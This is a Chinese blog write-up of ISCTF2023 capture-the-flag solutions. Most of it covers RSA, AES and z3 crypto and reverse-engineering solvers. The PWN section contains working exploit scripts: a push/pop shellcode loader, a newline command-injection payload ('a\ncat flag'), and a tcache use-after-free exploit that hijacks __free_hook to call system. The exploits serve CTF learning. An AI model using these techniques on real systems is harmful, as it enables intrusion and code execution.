[ISCTF2023] Crypto/PWN/Reverse

最近新生赛还挺多,不过这个开始后注册页面就被删了,没注册上。拿别人的附件作了下。

Crypto

七七的欧拉

这题只给了n,e,c这种情况一般正常没法解,猜n不正常

import gmpy2
import libnum
from crypto.Util.number import *

flag=b'ISCTF{*************}'
m=bytes_to_long(flag)

p=libnum.generate_prime(1024)
e=libnum.generate_prime(512)

c=pow(m,e,n)
output = open('output1.txt', 'w')
output.write('e=' + str(e) + '\n')
output.write('n=' + str(n) + '\n')
output.write('c=' + str(c) + '\n')
output.close()

经分解,发现n=p^8,大概就是这个意思,没必要作了

long_to_bytes(pow(c,invert(e,iroot(n,8)[0]-1),iroot(n,8)[0]))

夹里夹气

这题打开以为看串了,前几天moeCTF里边有个 喵喵喵 ,这个换成了嘤嘤嘤,一解还真是完全一样。先替换然后morse

easy_rsa

不详述,给了p,q,e,c的RSA

p=119217184749023703264384859759561410155820774445563325180194224261032936433481317891392063278098411690112615591819150997848225797655297602582541077944520494299889403639981070341685655177056454043083035388408572997183853095675185259748234381183064001783630504167108391769627513233898509088507792070533627096599
q=129522189190372743708171791048177712684836462038289481613612235519158149418021913893379083954787494423777762044577896288554892439792963092770707378994083790744704126129130870285588285711047209008497709079943068243497922976275586066054361370215468974329932407415354400937778710576600959777920372596242578617741
e=65537
c=5495917942806254434632536204923848948027313565108073594110304582965102715463069783553030711000535277150698154851806574136149160679103853585352291606405936036986731491122587827029235533940785423297922180193661875246351727917539678043073742095310834240167410333804201135287583280992379146336864858475138520262078277089960669869694947152210578542727879014056982768418865436493610960398004357558641140271601953019870994815526273435047998885512743343146525075318313462648726256140870688256439726045438818125577723715572990501934419351401177994258075103446499515320241918097408419491191974058281302737564811152692695433817

long_to_bytes(pow(c, invert(e,p-1),p))
b'ISCTF{f090e70b-d790-40ba-a07a-8090fe38e2aa}'

rsa_d

居然这两个都有远端,还是rsa只是非常小p,q,e求d,手搓

┌──(kali㉿kali)-[~/ctf/1127]
└─$ nc 43.249.195.138 20534
你知道RSA的计算过程吗?
p=46236331
q=5807233
e=65537
d=?
d=267267801110273
Right!
FLAG is ISCTF{712119a8-5aa5-4b36-a561-315a8eba2e0e}

signin

继续RSA,这里用N作为e,并给出了d,不过这个d只是真实d的一部分D=kd

def genKey(nbits):
    p = getPrime(nbits)
    q = getPrime(nbits)
    
    N = p*p*q
    d = inverse(N, (p-1)*(q-1)//GCD(p-1, q-1))
    return N,d

def encrypt(message,N):
    m = bytes_to_long(flag)
    c = pow(m, N, N)
    return c

nbits = 1024
m = bytes_to_long(flag)
N,d = genKey(nbits)
c = encrypt(m,N)

print('c =', c)
print('N =', N)
print('d =', d)

对于dp泄露的问题,先用费小求分解,然后就直接求就行了

m = 1000000007
pq = gcd(powmod(m, N*d, N) - m, N)
p = N//pq 

m = pow(c,invert(N,p-1),p)
long_to_bytes(m)
b'ISCTF{aeb8be10-ff19-42cf-8cfd-2ce71ac418e8}'

easyAES

叫作AES的题,其实也不算AES,真正的AES难度在于key未知,面这个题给了key^flag[:16]

而flag是作的前填充,前9字节已知。这样key就差1个字节了。

from secret import flag,key
from Crypto.Util.number import *
from Crypto.Cipher import AES
import os

assert(len(flag)==39)
assert(len(key)==16)

def padding(msg):
    tmp = 16 - len(msg)%16
    pad = hex(tmp)[2:].zfill(2)
    return bytes.fromhex(pad*tmp)+msg

def encrypt(message,key,iv):
    aes = AES.new(key,AES.MODE_CBC,iv=iv)
    enc = aes.encrypt(message)
    return enc

iv = os.urandom(16)
message = padding(flag)
hint = bytes_to_long(key)^bytes_to_long(message[:16])
enc = encrypt(message,key,iv)

print(enc)
print(hex(hint))

爆破一下就行了

enc = b'bsF\xb6m\xcf\x94\x9fg1\xfaxG\xd4\xa3\x04\xfb\x9c\xac\xed\xbe\xc4\xc0\xb5\x899|u\xbf9e\xe0\xa6\xdb5\xa8x\x84\x95(\xc6\x18\xfe\x07\x88\x02\xe1v'
hint = 0x47405a4847405a48470000021a0f2870
#前pad 明文为 09...+ISCTF{?
key1 = b'\x09'*9+ b'ISCTF{'
for i in range(0x20,0x7f):
    key = long_to_bytes(bytes_to_long(key1 +bytes([i]))^hint) 
    aes = AES.new(key,AES.MODE_CBC,iv=enc[:16])
    flag = aes.decrypt(enc[16:])
    if flag[-1:] == b'}':
        print(chr(i), flag)    

#1 b'b106cea3fb848e7bea310c9851f15c1}'
#ISCTF{1b106cea3fb848e7bea310c9851f15c1}

1zRSA

N1=p1*q1,N2=p2*q2,且p2=next_prime(p1)说明这两个数相差非常小,一般两相邻素数差不超过1xxx,所以用连分式N1/N2 \approx q1/q2

from secret import flag
from Crypto.Util.number import *
import gmpy2

e = 65537
def genKey(nbits):
    while 1:
        p1 = getPrime(3*nbits)
        p2 = gmpy2.next_prime(p1)
        q1 = getPrime(nbits)
        q2 = getPrime(nbits)
        print(abs((p1 - p2)*q1*q2 / p2) < 0.5)
        if (abs((p1 - p2)*q1*q2 / p2) < 0.5):
            n1 = p1 * q1
            n2 = p2 * q2
            return n1,n2

def encrypt(message,e,n):
    m = bytes_to_long(message)
    cipher = pow(m,e,n)
    return cipher

e = 65537
nbits = 512
N1,N2 = genKey(nbits)
c = encrypt(flag,e,N1)

print("c =",c)
print("N1 =",N1)
print("N2 =",N2)

用连分式分解

c = 10514867898770499427284608506159580569755258729683776720082395249877529851029152305989048383470182992945743997295638334301128554841767619528809377736651238576700664675871769469687466885347209033023021132575700436470105289467423655742323143373578268184141573237433927498143740155552829633601489926767185335051352605346248971754473960051955670785777007641909166041398566067524811394639822575661469340152913706417365065683835945980239268665146900957692685590242386540944646586739158427428484471978559453954674292300496568823382513505511940062159025700312492163454304120916055466108498000990408937265075788135466153131436
N1 = 29306627985861300819651846356448043523015086509329909246911330574896611830331438353458702041787309531570626136669100576501108581024502570212983369979387658041578384466200573362881060761873478590684611265249166591510948597798713864127744488747451815919677861684787135464097885906630772472111899455047125676738720391327331161464894360886214160668909531050207033060523194208723151015702926842472554933849380343375654696115359960495727909221926251630408376527033291123026893207722440649867394971680316008434251667567174806214522621693042164997381729300075394393372808917061813346794422821819494227772694592990703688149467
N2 = 18405525902524887428651801489049128242565457677879715229456940729064725933277139190670749899959483734341103740185991771024797037242681566772189045321838652668819112989587974866361063424698215713773139281840970499871668796770682692589505769008516630604297570518689639885716307469568821629424402742264467677407820449195383921766157185602677665872353099155904715047452319853202981674101731121033360393547940246101864940155160699277417096395998766928213545196492031975135121409309520198853066288180944871441224241681478164494169741263236267316380581883196836731872676312125837497320438964940186318916950049777255612191899
#N1/N2 == q1/q2

prec = 2048
ring = RealField(prec)
data3 = ring(N1) / ring(N2)
print(data3)

pq = continued_fraction(data3)
plist = pq.convergents()
 
for i in plist:
    v = str(i).split('/')
    if len(v)>1 and is_prime(int(v[0])) and is_prime(int(v[1])):
        print(v)

q1,q2 = 13166149053920733988133220766565900374402926105316901424445371303550905508671201132496493025764440291278938236165971458157674063797447457744343630489726659, 8268774475362751562305005818506897933590271293504237780404813694381435193312394118231423266588104046362027829119594747044105836577296595309703757740917623
p1 = N1//q1 
m = pow(c, inverse_mod(65537,p1-1),p1)
bytes.fromhex(hex(m)[2:])
b'ISCTF{6f3af9a9-2727-4d48-afb4-9ca82de893f3}'

ezRSA(τ)

这题涉及到卡迈尔数,对于素数测试来说,能通过的不一定是素数。卡迈尔数就是这种由3个素数相乘得到的合数,但能通过素数测试。

from secret import flag,key
from Crypto.Util.number import *
from random import randint,getrandbits
from sympy import factorial as factor
from gmpy2 import is_prime as is_strongPrime
from gmpy2 import gcd
from libnum import s2n

def step1(m):
	p,q = getPrime(1024),getPrime(1024)
	n=p*q
	e=getPrime(512)
	phi = (p-1)*(q-1)
	while gcd(e,phi) != 1:
		e=getPrime(512)
	d = pow(e,-1,phi)
	k = randint(800,1500)
	f = factor(k) #k的阶乘
	# print(f"\n\n\n\n{k=}\n\n\n\n")
	leak = (pow(e, 2) + (e*d - 1)*f)*getPrime(256) + k
	print(f"{n=}")
	print(f"{leak=}")
	e = 65537
	c = pow(m,e,n)
	return c


def step2(m):
	#the key number is three part 
	assert key < 10**9
	assert (is_prime(key) and not is_strongPrime(key))

	p,q = getPrime(512),getPrime(512)
	n=p*q
	leak1 = pow(p,q,n) + pow(q,p,n)
	print(f"{n=}")
	print(f"{leak1=}")
	e=0x10001
	c = pow(m,e,n)
	seed = getrandbits(64)
	a = getPrime(256)
	b = getPrime(256)
	leak2 = []
	for i in range(10):
		leak2.append(seed := (seed * a + b) % p)
	print(f"{leak2 = }")
	seed = (seed * a + b) % p
	base = key ^ seed
	final = []
	while c > 0:
		final.append(c % base)
		c //= base

	return final


# def most(lis):
# 	return lis.count(True) > lis.count(False)

def is_prime(p):
	check = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97]
	return all([pow(i,p-1,p)==1 for i in check])


def main():
	assert len(flag) == 2
	print("step1:")
	print("c =",step1(s2n(flag[0])))
	print("step2:")
	print("final =",step2(s2n(flag[1])))


if __name__ == "__main__":
	main()

第1部分给了个 leak = (pow(e, 2) + (e*d - 1)*f)*getPrime(256) + k 

其中800<k<1500可以爆破,而f是k的阶乘。根据数字位数关系可以爆破k

for k in range(800,1500):
    v = int(factor(k)).bit_length()
    if -10<11732-256-2048-512-v<10:
        print(k,v)

#1038 8910
#1039 8920
k = 1039
f = int(factor(k))

然后得到一个256位的因子,然后求出e,d

'''
11732     1024    512+2048   9433     256           
leak = (pow(e, 2) + (e*d - 1)*f)*getPrime(256) + k
leak = (e2 + kphi*f)*r +k = e2*r + kphi*f*r + k 
a = kphi*r = leak//f
b = e2*r = (leak-k)%f
'''
a = leak//f 
b = (leak-k)%f 
r = gcd(a,b)
#108265111455950860152587704451025053167231031155722144225275801978438974863031

e = iroot(b//r,2)[0]
d = (a//r+1)//e 

 根据e,d分解,然后求出前半个flag

#根据e,d分解n
import random 
def e_dn(e_d,n):
    k=e_d-1
    while True:
        g= random.randint(2,n-1)
        t=k
        while True:
            if t%2!=0:
                break
            t=t//2
            x=pow(g,t,n)
            if x > 1 and gcd(x-1, n) > 1:
                p=gcd(x-1,n)
                q=n//p
                return p,q

p,q = e_dn(e*d,n)

m = pow(c, invert(0x10001, (p-1)*(q-1)), n)
long_to_bytes(m)

第2部分也分两步,第1步给了一个LCG的几个值要求参数再求下一个。

#根据leak2求a,b,p 
P.<a,b> = PolynomialRing(Zmod(n))
F = [a*leak2[i-1]+b - leak2[i] for i in range(1,10)]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
p = res[2]
a = -res[0]%p
b = -res[1]%p

 然后用下一个与一个卡迈尔数求flag的后一半,这个数求起来是非常复杂的,不过在OEIS网站上可以下载到前人已经求出来的10000个数,这里只用了一个很小的

p = 11264801007674911194937296213273187573443204642014287324272028337905327910709752151600908437791201988791057475198631585558489141831119442330004018572678099
q = n//p 
a = 77103936782340200964969557381530979461498267151335748569651214009683718895787
b = 80415964905483336441916158760498483436647287707097172421898625062076211518999
seed = (a*leak2[-1]+b)%p
#4200187646212318518523978419030779663356898929497560679154263632881543657050959427183966634462102477814580819864753365867968297383142555109096365631733722
d = invert(0x10001, (p-1)*(q-1))

key = open('b087788.txt').readlines()
for k in key:
    base = seed^int(k.strip().split(' ')[1])
    c = final[2]*base**2 + final[1]*base + final[0]
    m = long_to_bytes(pow(c,d,n))
    if m.isascii():
        print(m)

#ISCTF{yOu_kn0W_RSAgcd_and_g0Od_at_LCG_also_like_Carmichael_number}

baby group  未完成

最后这个没弄明白,后来别人给了个例子,也没看明白。置换群群元的开平方:以BRICS+的sqrt为例 | Tover' Blog

PWN

难度不大,大多就略了

test_nc

nc_shell

ezpie

1,A*0x30 带出加载地址
2, pop_rax,59,pop_rdi,bin_sh,pop_rsi,*0,0,syscall 正好0x40

stack

PIE未开,有溢出还有后门,全了,溢出到后门

fmt

提供指针的格式化字符串,写两个值就好。

fires

通话8次格式化字符串,而且长度也不小还在栈里。控制i以后可以无数次,随便写啦。

abstract_shellcode

这个题可以执行shellcode但只能输入O到-也就是全部的push,pop。在开始之前有个选择ye,no在这里输入syscall,然后在shellcode里用pop将rsp下移(其中利用rbp,pop rsp加快,因为可输入的字节较少)将syscall弹到寄存器再push回将syscall写到shellcode后边造一个read(0,ptr,x)读入后续的shellcode,不过不知为何在本地执行不了execve只能改成orw

from pwn import *

p = process('./abstractshellcode')
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x5555555554aa\nc")

#预写入syscall 然后通过push pop 将syscall写到shellcode后
p.sendafter(b"input:(ye / no)\n",b'\x0f\x05')

shellcode= '''
push rdi;pop rax;
pop rcx;pop rcx;pop rsp; 
pop rcx;    /*rcx = syscall */
push rcx;push rcx;push rcx;push rcx;push rcx; /* syscall放到 shellcode后相邻 */
pop rdx;   /* rdx = 0xf05  */
pop rcx;pop rcx;pop rcx;pop rcx;  /* padding */
'''
p.sendafter(b"---input your pop code---\n", asm(shellcode))

#execve 0177错
p.send(b'\x90'*0x90 + asm(shellcraft.open('/flag')+ shellcraft.read('rax','rsp',0x50)+shellcraft.write(1, 'rsp', 0x50)))

p.interactive()

touch_file1

这是个命令行绕过的题用\n来执行用\t来表示空格

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('43.249.195.138', 20110)
p.sendline(b'1')
p.sendlineafter(b"file_name: ", b'a\ncat flag\n')

p.interactive()

touch_file2

第2个是个堆题,入门新生赛很少出现堆题,放到最后估计是为了防AK。

通过shell命令模拟了推的add:touch,free:rm,edit, show:cat, copy给了复制指针功能,这样删除后就能使用UAF。也就是个UAF的堆题。造个tcache attack

from pwn import *

libc = ELF('./libc-2.31.so')

#p = process('./touch_file2')
p = remote('43.249.195.138', 20227)
context(arch='amd64', log_level='debug')

def add(name, msg=b'A'):
    p.sendlineafter(b">", b'touch '+name+b' '+msg)

def free(name):
    p.sendlineafter(b">", b'rm '+name)
    
def cp(name, newname):
    p.sendlineafter(b">", b'cp '+name+b' '+newname)

def show(name):
    p.sendlineafter(b">", b'cat '+name)

def edit(name, msg=b'A'):
    p.sendlineafter(b">", b'edit '+name+b' '+msg)

for i in range(9):
    add(str(i).encode())

cp(b'7',b'9')

for i in range(8):
    free(str(i).encode())

show(b'9')
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) -0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

for i in range(4):
    add(str(i).encode())

cp(b'2',b'8')
free(b'0')
free(b'1')
free(b'2')
edit(b'8', p64(libc.sym['__free_hook']))
add(b'4', b'/bin/sh\x00')
add(b'5', p64(libc.sym['system']))

free(b'4')
#gdb.attach(p)
#pause()
p.interactive()
#ISCTF{29c64e10-d704-4c8b-8979-d79397002ed1}

 Reverse

CrackMe

UPX打的包,但把UPX改了

1,搜PFX0 改为UPX2
2, upx.exe -d crackme.exe 

ISCTF{873c-298c-2948-23bh-291h-kt30}

easyRe

作了两个硬替换,导致两个明文对应同一个密文,后边就是爆破,不过手搓也行,没向个字符

  strcpy(v4, "]P_ISRF^PCY[I_YWERYC");
  memset(&v4[21], 0, 78);
  puts("please input your strings:");
  gets(Str);
  v7 = strlen(Str);
  while ( Str[i] )
  {
    for ( i = 0; i < v7; ++i )
      v5[i] = Str[i] ^ 0x11;
  }
  for ( i = 0; i < v7; ++i )                    // B->Y,X->C
  {
    if ( v5[i] == 'B' || v5[i] == 'X' )
      v5[i] = -101 - v5[i];
  }
  for ( i = v7 - 1; i >= 0; --i )
    v5[v7 - i - 1] = v5[i];
  i = 0;
  if ( v7 > 0 )
  {
    if ( v5[i] == v4[i] )
      printf("yes!!!");
    else
      printf("no!!!");
  }
a = "]P_ISRF^PCY[I_YWERYC"
a = a[::-1]

a = 'CYREWY_I[YCP^FRSI_P]'
a = 'RHCTFHNXJHRAOWCBXNAL'

from hashlib import md5
def getv(a,i):
    if i >=len(a):
        if md5(a.encode()).hexdigest() == 'd26628cceedb1f8bdb3535913c82d959':
            print(a)
        return
    if a[i] == 'R':
        getv(a[:i]+'I'+a[i+1:], i+1)
        getv(a, i+1)
    elif a[i] == 'H':
        getv(a[:i]+'S'+a[i+1:], i+1)
        getv(a, i+1)
    else:
        getv(a, i+1)

getv(a,0)
#ISCTFSNXJSIAOWCBXNAL
ISCTF{SNXJSIAOWCBXNAL}

baby_re

这题已经偏离re了,是个打包的python程序,解开以后是个rsa题,已经p+q和(p+1)(q+1)

p+q=
292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
(p+1)*(q+1)=
21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
c=5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396

p_q = 292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
p1q1 = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160


from z3 import *
p,q = Ints('p q')
s = Solver()
s.add(p+q == p_q)
s.add((p+1)*(q+1) == p1q1)
s.check()
d = s.model()
p = d[p].as_long()
m = pow(c,invert(e,p-1),p)
long_to_bytes(m)

b'ISCTF{kisl-iopa-qdnc-tbfs-ualv}'

easy_z3 

又是z3

from z3 import *

l = [Int(f'l_{i}') for i in range(6)]
s = Solver()
s.add((593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4])== 0x54eb02012bed42c08)
s.add((605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3])== 0x4f039a9f601affc3a)
s.add((373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2])== 0x442b62c4ad653e7d9)
s.add((560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1])== 0x588aabb6a4cb26838)
s.add((717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0])== 0x48f8e42ac70c9af91)
s.add((312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x4656c19578a6b1170)

s.check()
d = s.model()
flag = b''
for i in range(6):
    flag += long_to_bytes(d[l[i]].as_long())
#ISCTF{N0_One_kn0ws_m@th_B3tter_Th@n_me!!!}

mfx_re

跟上边题一样,不过当时卡了没出来,原来是把UPX改成MFX了,前边1个,尾部两个,改完解包

1,修改头部(ELF头后)0xec 和尾部1e11,1e1c两个MFX->UPX 
2,upx 解包

C:\2023_ctf\1123_isctf\r\3_mfx_re>\tools\upx-4.0.0-win64\upx.exe -d mfx_re
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2022
UPX 4.0.0       Markus Oberhumer, Laszlo Molnar & John Reiser   Oct 28th 2022

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     26644 <-      7744   29.06%   linux/amd64   mfx_re

Unpacked 1 file.

3,ida
  strcpy(s2, "HRBSEzb40db700,c607,3342,`124,/3/50c806445|");
  v17 = 0;
  v18 = 0;
  for ( i = 0; ; ++i )
  {
    v3 = i;
    if ( v3 >= strlen(s) )
      break;
    --s[i];
  }
  strcmp(s, s2);
  puts("Now you know your flag!");

4,...
C:\2023_ctf\1123_isctf\r\3_mfx_re>py
Python 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = b"HRBSEzb40db700,c607,3342,`124,/3/50c806445|"
>>> bytes([i+1 for i in a])
b'ISCTF{c51ec811-d718-4453-a235-04061d917556}'

easy_flower_tea

这题是soeasy然完不成,题目很简单tea求两个数,但是这两个数怎么组成flag没说,结束后有人说是中间加空格。空格在flag里很少见啊

from ctypes import * 

key = [12,34,56,78]

def tea(v,key):
    v5 = c_uint32(v[1])
    v6 = c_uint32(v[0])
    delta = c_uint32(-1640531527)
    sum1 = c_uint32(delta.value * 0x20)
    for i in range(0x20): 
        v5.value -= (key[3] + (v6.value >> 5)) ^ (sum1.value + v6.value) ^ (key[2] + 16 * v6.value)
        v6.value -= (key[1] + (v5.value >> 5)) ^ (sum1.value + v5.value) ^ (key[0] + 16 * v5.value)
        sum1.value -= delta.value
    return [v6.value,v5.value]

c = [1115126522, 2014982346]    
v = tea(c,key)       
#1472353, 3847872

'''
  v6 = *a1;
  v5 = a1[1];
  v4 = 0;
  for ( i = 0; i < 0x20; ++i )
  {
    v4 -= 1640531527;
    v6 += (a2[1] + (v5 >> 5)) ^ (v4 + v5) ^ (*a2 + 16 * v5);
    v5 += (a2[3] + (v6 >> 5)) ^ (v4 + v6) ^ (a2[2] + 16 * v6);
  }
  *a1 = v6;
  result = 4;
  a1[1] = v5;
'''

z3_revenge

这个不知道为啥还用远端,想个办法批量替换后放z3里弄就行了,在ida里把int64 v4改成char v4[48]会方便一点

  if ( !v4[43]
    && v4[0] - 831 - (165 - v4[1]) == -840
    && v4[1] - 452 - 982 * v4[2] == -66163
    && v4[2] - 289 + 982 - v4[3] == 676
    && 550 * v4[3] - (737 - v4[4]) == 45533
    && v4[4] + 799 - (596 - v4[5]) == 396
    && v4[5] + 311 + 802 - v4[6] == 1181
    && 985 * v4[6] - (559 - v4[7]) == 53666
    && v4[7] + 793 - 301 * v4[8] == -28655
    && v4[8] + 584 - 404 * v4[9] == -20326
    && v4[9] + 742 - (v4[10] + 201) == 496
    && v4[10] - 856 - (v4[11] + 647) == -1456
    && v4[11] - 308 + v4[12] + 874 == 717
    && v4[12] - 398 + v4[13] + 478 == 283
    && v4[13] - 415 + v4[14] + 156 == -112
    && v4[14] - 906 - 131 * v4[15] == -13568
    && v4[15] - 965 - (v4[16] + 483) == -1453
    && v4[17] + 869 + 118 * v4[16] == 13003
    && v4[17] + 597 + 859 * v4[18] == 42786
    && v4[19] + 201 + 437 * v4[18] == 21659
    && v4[19] - 352 - (v4[20] + 844) == -1203
    && v4[20] + 990 + 600 * v4[21] == 31642
    && v4[21] - 741 + v4[22] + 587 == -50
    && v4[22] + 585 + v4[23] + 278 == 1015
    && 654 * v4[23] - (106 - v4[24]) == 64685
    && 346 * v4[24] + 359 * v4[25] == 50752
    && 576 * v4[25] - (328 - v4[26]) == 56169
    && 750 * v4[26] - (v4[27] + 566) == 36133
    && v4[27] - 951 + v4[28] + 468 == -382
    && 528 * v4[28] + 174 * v4[29] == 34230
    && v4[29] - 467 + 454 - v4[30] == -66
    && v4[31] + 532 + 267 * v4[30] == 26798
    && v4[31] + 234 - (v4[32] + 378) == -98
    && 790 * v4[32] - 108 * v4[33] == 37260
    && v4[33] + 172 - (v4[34] + 936) == -811
    && v4[34] + 436 - 470 * v4[35] == -23437
    && v4[35] - 916 + 330 - v4[36] == -589
    && v4[36] + 893 - (866 - v4[37]) == 136
    && v4[37] + 912 + v4[38] + 827 == 1851
    && 580 * v4[38] + 988 * v4[39] == 132848
    && 280 * v4[39] - 184 * v4[40] == 19080
    && v4[40] - 624 + v4[41] + 679 == 157
    && 519 * v4[41] + 842 - v4[42] == 27705
    && 869 * v4[42] - 481 * v4[0] == 73512 )

WHERE

爆破一个很小的key然后从一个大矩阵中找数,再按顺序排列

for v15 in range(13):
    for v14 in range(33):
        v3 = v15*7-1 
        v4 = 11*(13*v3 + v14 + 3 )-v15
        v18 = ((v4+v14)//10 + 11)^0x104b4 
        if 136398636%v18 == 0:
            v16 = 136398636//v18 - v14-v15 
            print(v14,v15,v16)

key1 = 20250219

'''
  v16 = v17 / 10000;
  v15 = v17 % 10000 / 100;
  v14 = v17 % 10000 % 100;
  v5 = v15;
  v3 = sub_401390(7 * v15, 1);                  // ~(a2 + ~a1)
  v4 = sub_401390(11 * (13 * v3 + v14 + 3), v5);
  v18 = ((v4 - v14) / 10 + 11) ^ 0x104B4;
  if ( (v17 & 1) != 0 || v17 < 233 || v16 > 9999 || v15 > 12 || v14 > 32 || v18 * (v15 + v14 + v16) != 136398636 )
'''

key2 = bytes.fromhex('F1EF61BBC945574336EBC3F5611FE0ED5F19C3830B675B447A9DB27EF5B52265')

msg = open('WHERE.exe','rb').read()
print(hex(len(msg)))
v2 = msg[0x34d3c: 0x34d3c+300*300]
v1 = msg[0x1c0a0: 0x1c0a0+300*300]
print(len(v1),len(v2))
m1 = []
m2 = []
for i in range(300):
    for j in range(300):
        if v1[300*i+j]==1:
            print(i,j)
            m1.append(i)
            m2.append(j)

print(m1,m2) #r,c
m3 = m2.copy()
sorted(m3)
m4 = []
for i in m3:
    idx = m1.index(i)
    m4 += [m1[idx],m2[idx]]

print(m4)

m1 = [30, 43, 86, 97, 120, 135, 138, 154, 180, 189, 200, 220, 225, 235, 246, 255]
m2 = [15, 28, 5, 100, 21, 89, 28, 250, 99, 100, 1, 213, 54, 235, 66, 255]
v = b''.join([bytes([m1[i],m2[i]]) for i in range(16)])

'''
  for ( i = 0; i < 32; ++i )
    *(_BYTE *)(i + a1) ^= byte_432034[i];
  for ( j = 0; j < 30; j += 2 )
  {
    if ( *(unsigned __int8 *)(j + a1) >= (int)*(unsigned __int8 *)(j + a1 + 2) )
      return -1;
  }
  for ( k = 0; k < 32; k += 2 )
    byte_434D3C[300 * *(unsigned __int8 *)(k + a1) + *(unsigned __int8 *)(k + a1 + 1)] = 1;
  for ( m = 0; m < 300; ++m )
  {
    for ( n = 0; n < 300; ++n )
    {
      if ( byte_434D3C[300 * m + n] != byte_41C0A0[300 * m + n] )
        return -1;
    }
  }
'''

floweyRSA

双是个rsa题,已知n,e而且n非常小

#qpow(v6[i + 14], 0x1D1uLL, 0xBC7C05B3uLL);

c = [0x753C2EC5, 0x8D90C736, 0x81282CB0, 0x7EECC470, 0x944E15D3,0x2C7AC726, 0x717E8070, 0x30CBE439, 0x0B1D95A9C, 0x6DB667BB, 0x1240463C, 0x77CBFE64, 0x11D8BE59]

e = 0x1d1
n = 0xBC7C05B3

from Crypto.Util.number import long_to_bytes as l2b
#factor(n)
#56099 * 56369
d = inverse_mod(e,56098*56368)
m = [pow(i,d,n) for i in c]
b''.join([l2b(int(i)) for i in m])

flag{reverse_is_N0T_@lways_jusT_RE_myy_H@bIb1!!!!!!}

ezrust 未完成

实在找不着切入点

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/201094.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++ day44完全背包问题 零钱兑换Ⅱ 组合总和Ⅳ

完全背包&#xff1a;一个物品可以使用无数次&#xff0c;将01背包中倒序遍历背包变成正序遍历背包 遍历顺序&#xff1a;在完全背包中&#xff0c;对于一维dp数组来说&#xff0c;其实两个for循环嵌套顺序是无所谓的&#xff01; 先遍历物品&#xff0c;后遍历背包可以&#…

docker搭建rabbit集群

1.去rabbitMQ官网拉去images 我当前使用的是最新版本的镜像&#xff1a;rabbitmq:3.12-management 2.创建一个集群专用网络 docker的容器相互隔离是不可通信的&#xff0c;我们自行创建一个网络后&#xff0c;创建容器时 给他们放在一起&#xff0c;就可以通信了。 docker netw…

2023年【安全员-A证】考试题及安全员-A证最新解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 安全员-A证考试题考前必练&#xff01;安全生产模拟考试一点通每个月更新安全员-A证最新解析题目及答案&#xff01;多做几遍&#xff0c;其实通过安全员-A证模拟考试题很简单。 1、【多选题】下列关于高处作业吊篮叙…

基于深度学习的点云三维目标检测方法综述

论文标题&#xff1a;基于深度学习的点云三维目标检测方法综述 作者&#xff1a;郭毅锋&#xff11;&#xff0c;&#xff12;†&#xff0c;吴帝浩&#xff11;&#xff0c;魏青民&#xff11; 发表日期&#xff1a; 2023 1 阅读日期 &#xff1a;2023 11 29 研究背景&…

Bug 检查 0x7B:INACCESSIBLE_BOOT_DEVICE(未解决)

环境&#xff1a; HP ProDesk 480 G7 Win10 专业版 问题描述&#xff1a; INACCESSIBLE_BOOT_DEVICE bug 检查的值为0x0000007B。 此 bug 检查表明 Microsoft Windows 操作系统在启动过程中无法访问系统分区 原因&#xff1a; 1.INACCESSIBLE_BOOT_DEVICE bug 检查经常发生…

基于springboot实现实习管理系统的设计与实现项目【项目源码+论文说明】计算机毕业设计

